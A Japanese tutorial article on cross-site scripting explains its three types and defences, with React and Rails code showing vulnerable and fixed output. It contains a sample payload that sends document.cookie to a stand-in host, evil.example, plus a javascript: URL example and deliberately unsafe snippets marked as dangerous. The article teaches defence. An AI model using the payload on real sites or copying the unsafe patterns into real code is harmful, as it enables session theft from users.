XSS(クロスサイトスクリプティング)とは?起きるパターンと対策法

XSS(クロスサイトスクリプティング)とは?起きるパターンと対策法

#セキュリティ#Web開発#脆弱性対策

XSSはWebアプリケーションで最も報告数の多い脆弱性のひとつです。 対策の成否は、フレームワークの標準機能を正しく使えているかどうかでほぼ決まります。

XSSとは

クロスサイトスクリプティング(XSS):攻撃者が仕込んだスクリプトを、そのサイトを閲覧した利用者のブラウザ上で実行させる脆弱性です。 アプリケーションがユーザー入力をエスケープせずにHTMLへ出力することで発生します。

実行されたスクリプトは、正規サイトの権限で動きます。 そのため、セッションCookieの窃取によるなりすまし、偽の入力フォームによるパスワードやカード情報の詐取、ページの改ざん、不正サイトへの誘導といった被害につながります。

発生箇所によって3つに分類されます。

  • 反射型XSS:リクエストに含めたスクリプトが、検索結果画面などのレスポンスにそのまま出力されるもの。攻撃用URLを踏ませることで成立します
  • 格納型XSS:投稿やプロフィールなどとしてサーバに保存され、そのページを開いた閲覧者全員に発動するもの。URLを踏ませる必要がなく、影響が最も大きい型です
  • DOM型XSS:サーバを経由せず、クライアント側のJavaScriptがURLの一部などを不用意にDOMへ書き込むことで発生するもの

XSSが起きるパターン

典型的な混入箇所は次のとおりです。

  • テンプレートエンジンの自動エスケープを迂回する出力(Railsのrawhtml_safe、Jinja2の| safe、ERBの<%== %>など)
  • innerHTMLdocument.writeへの代入、ReactのdangerouslySetInnerHTML、Vueのv-html
  • href属性へのjavascript:スキーム混入など、属性値やURLの文脈への挿入
  • リッチテキストエディタやMarkdownレンダリングの出力を、サニタイズせずに表示
  • ユーザー由来のデータを<script>タグ内のJavaScriptへ直接埋め込み
  • URLパラメータやフラグメントを、クライアント側のコードでそのままDOMに反映

共通するのは「エスケープされない出力経路がひとつでもあれば成立する」という点です。 入り口の検証をすり抜けた値がどこか1箇所で生のままHTMLに出れば、そこが穴になります。

対策法

原則は「出力時に、出力先の文脈に応じてエスケープする」ことです。

  • フレームワークの自動エスケープに乗る。raw系やdangerouslySetInnerHTMLなどの迂回APIは使用箇所を洗い出し、レビューで管理する
  • HTML本文、属性値、URL、JavaScriptという文脈ごとに適切なエスケープを行う。属性値は必ず引用符で囲む
  • ユーザーにHTML入力を許可する場合は、DOMPurifyなどの実績あるサニタイズライブラリを通す。正規表現による自作の除去処理は避ける
  • Content Security Policy(CSP)を設定し、インラインスクリプトと未許可の外部スクリプトの実行を制限する
  • CookieにHttpOnly属性を付け、スクリプトから読めないようにする(発生時の被害軽減策)

入力値検証は補助的な防御であり、本命は出力時のエスケープです。 「どの画面のどの出力か」を問わず一律に効く仕組み(自動エスケープ、CSP)を先に整えることが、費用対効果の高い順序になります。

React(TypeScript)での事例

React の JSX は、埋め込んだ値を既定で HTML エスケープします。 {body} のように波括弧で出力するかぎり、値に <script> が含まれていてもタグとしては解釈されません。 XSS が入り込むのは、この自動エスケープを迂回したときだけです。

代表的な迂回が dangerouslySetInnerHTML です。 ユーザー投稿をそのまま渡すと、投稿本文に含まれる任意の HTML が DOM に書き込まれます。

// 危険:投稿本文をそのまま HTML として挿入している
function Comment({ body }: { body: string }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

body<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)"> のような文字列であれば、そのコメントを開いた閲覧者のブラウザでスクリプトが動きます。

HTML を持たせる必要がないなら、素直に波括弧で出力して React のエスケープに任せます。

function Comment({ body }: { body: string }) {
  return <div>{body}</div>;
}

装飾つきの HTML を許可したい場合は、DOMPurify などのサニタイズを通してから渡します(import DOMPurify from "dompurify" はブラウザの DOM を前提とするため、サーバサイドレンダリングでも実行する場合は、内部で jsdom を抱える isomorphic-dompurify を使うと同じ API でサーバ・クライアント双方に対応できます)。

import DOMPurify from "dompurify";

function Comment({ body }: { body: string }) {
  const clean = DOMPurify.sanitize(body);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

属性値も文脈のひとつです。 href にユーザー由来の文字列を入れると、javascript: スキームの混入で反射型や格納型の XSS が成立します。

// 危険:user.website が "javascript:alert(document.cookie)" だと発火する
<a href={user.website}>サイト</a>

なお React はこの javascript: URL を遮断しません。 開発ビルドでは「将来のバージョンで javascript: URL をブロックする」というコンソール警告を出しますが、実行そのものは止めず、本番ビルドでは警告も出ないまま実行されます。 「React が自動でエスケープするから属性値も安全」とは言えないので、URL は自分で検証します。

スキームを httphttps(必要なら mailto)に限定してから出力します。

function safeUrl(raw: string): string {
  try {
    const u = new URL(raw);
    return ["http:", "https:", "mailto:"].includes(u.protocol) ? u.href : "#";
  } catch {
    return "#";
  }
}

// <a href={safeUrl(user.website)}>サイト</a>

Rails(ERB)での事例

ERB も <%= %> で出力した値を既定でエスケープします。 XSS が生まれるのは、このエスケープを明示的に外したときです。

外し方は主に三つで、rawhtml_safe、そして生出力の <%== %> です。

<%# いずれもエスケープを外し、本文中の HTML をそのまま出力する %>
<%= raw @comment.body %>
<%= @comment.body.html_safe %>
<%== @comment.body %>

@comment.body にスクリプトを含む投稿が保存されていれば、その値は格納型 XSS として全閲覧者に発動します。

とくに紛らわしいのが html_safe です。 これは文字列を安全にする(サニタイズする)メソッドではなく、「この文字列はもう安全だから出力時にエスケープしなくてよい」と Rails に宣言するだけのメソッドで、中身は一切検査しません。 名前は「safe にする」ではなく「safe だと保証する」と読むのが正確で、その保証の中身はプログラマの責任側にあります。 だから信頼できない値に付けた瞬間、それがそのまま穴になります(raw も内部的にはほぼ html_safe と同じで、同じ罠を持ちます)。 実際に危険なタグを除去して安全な文字列を返すのは、次に挙げる sanitize の側です。

HTML として解釈させる必要がないなら、<%= %> のまま出力します。

<%= @comment.body %>

一部のタグだけ許可したい場合は、raw ではなく sanitize ヘルパーで許可リストを指定します。

<%= sanitize @comment.body, tags: %w[p br strong em a], attributes: %w[href] %>

リンクの URL をユーザーに持たせるときは、link_to に渡す前にスキームを検証します。

def safe_url(raw)
  uri = URI.parse(raw)
  %w[http https mailto].include?(uri.scheme) ? raw : "#"
rescue URI::InvalidURIError
  "#"
end
<%= link_to "サイト", safe_url(@user.website) %>

まとめ

XSS対策の要点を整理します。

  • 成立条件は「エスケープされない出力経路がひとつでもあること」。反射型・格納型・DOM型のどれも、この一点は共通する
  • 本命の対策は出力時のエスケープで、フレームワークの自動エスケープに乗るのが基本。入力値検証は補助にとどまる
  • rawhtml_safedangerouslySetInnerHTMLv-html などの迂回APIは、使用箇所を洗い出してレビューで管理する
  • ユーザーにHTMLを許可する場合は、DOMPurifyやRailsのsanitizeなど実績のあるサニタイズを通す。自作の除去処理は避ける
  • hrefなどの属性値は自動エスケープでは守れない。URLはスキームを検証してから出力する
  • CSPとHttpOnly Cookieを重ね、発生時の被害を抑える層を用意する

既存コードの点検は、エスケープを迂回するAPIの使用箇所を洗い出すところから始めると、少ない工数で影響の大きい穴から順に塞げます。

関連して読める記事

SQLインジェクションとCSRFも、XSSと並ぶWebアプリケーションの定番の脆弱性です。自社コードの対策とあわせて、依存パッケージ経由で侵入されるサプライチェーン攻撃への備えも整理しておくと、Webアプリのセキュリティを一段広い視野で見直せます。また、混入したスクリプトがCDNのキャッシュに保存されると、同じURLを開いた利用者全員へ配信されます。影響範囲を見積もるうえで、この増幅の経路も押さえておく価値があります。

SQLインジェクションとは?起きるパターンと対策法

SQLインジェクションの仕組みと起きるパターン、そしてプレースホルダ(パラメータ化クエリ)を軸にした対策を整理します。Rails(Active Record)で穴が開く where の文字列展開と order のカラム名、その安全な書き方を具体的なコード例で示します。

2026年7月22日

CSRF(クロスサイトリクエストフォージェリ)とは?起きるパターンと対策法

CSRF(クロスサイトリクエストフォージェリ)の仕組みと起きるパターン、CSRFトークンとSameSite Cookieを軸にした対策を整理します。Railsで検証を外してしまう skip_before_action の罠と、React(TypeScript)からのトークン送信ヘッダの組み込み方を、危険なコードと安全な書き方の具体例で示します。

2026年7月23日

CTOが今期決めるべきサプライチェーン攻撃対策——発見・抑制・ダメージコントロールの3層設計

npmのサプライチェーン攻撃は2025年以降、毎月の定常イベントになりました。悪意あるコードはCVEが付く前に正規の新バージョンとして配布されるため、脆弱性スキャンやDependabotでは防げません。抑制・発見・ダメージコントロールの3層の防衛線を、ツール購買ではなく開発標準の設計問題として、CTO・開発責任者向けに解説します。

2026年7月19日

Webキャッシュポイズニングとは?起きるパターンと対策法

Webキャッシュポイズニングの仕組みと起きるパターン、キャッシュキーの設計と未署名ヘッダの排除を軸にした対策を整理します。request.host(X-Forwarded-Host 由来)からURLを組み立てる危険例と、config.asset_host での固定、本番で空のままになりがちな config.hosts の設定を具体的なコードで示します。

2026年7月25日

個別の脆弱性を横断して全体を見直したいときは、この記事を含む31の攻撃と脆弱性を設計・開発・運用のどの層で防ぐかという視点で整理した完全ガイドをどうぞ。

現代Webセキュリティ完全ガイド|31の攻撃と脆弱性を設計、開発、運用で防ぐ

XSS・SQLインジェクション・IDOR・サプライチェーン攻撃など31の攻撃と脆弱性を、ブラウザ・入力・認証・認可・状態・運用の六つの攻撃面に整理し、「信頼境界の設計」として捉え直す総論ガイドです。個別脆弱性の暗記ではなく、設計・開発・運用の各工程に防御を組み込む方法、事業リスクにもとづく優先順位づけ、自社の現在地を確認する15項目までを経営層・開発責任者向けにまとめます。

2026年7月29日
この記事をシェア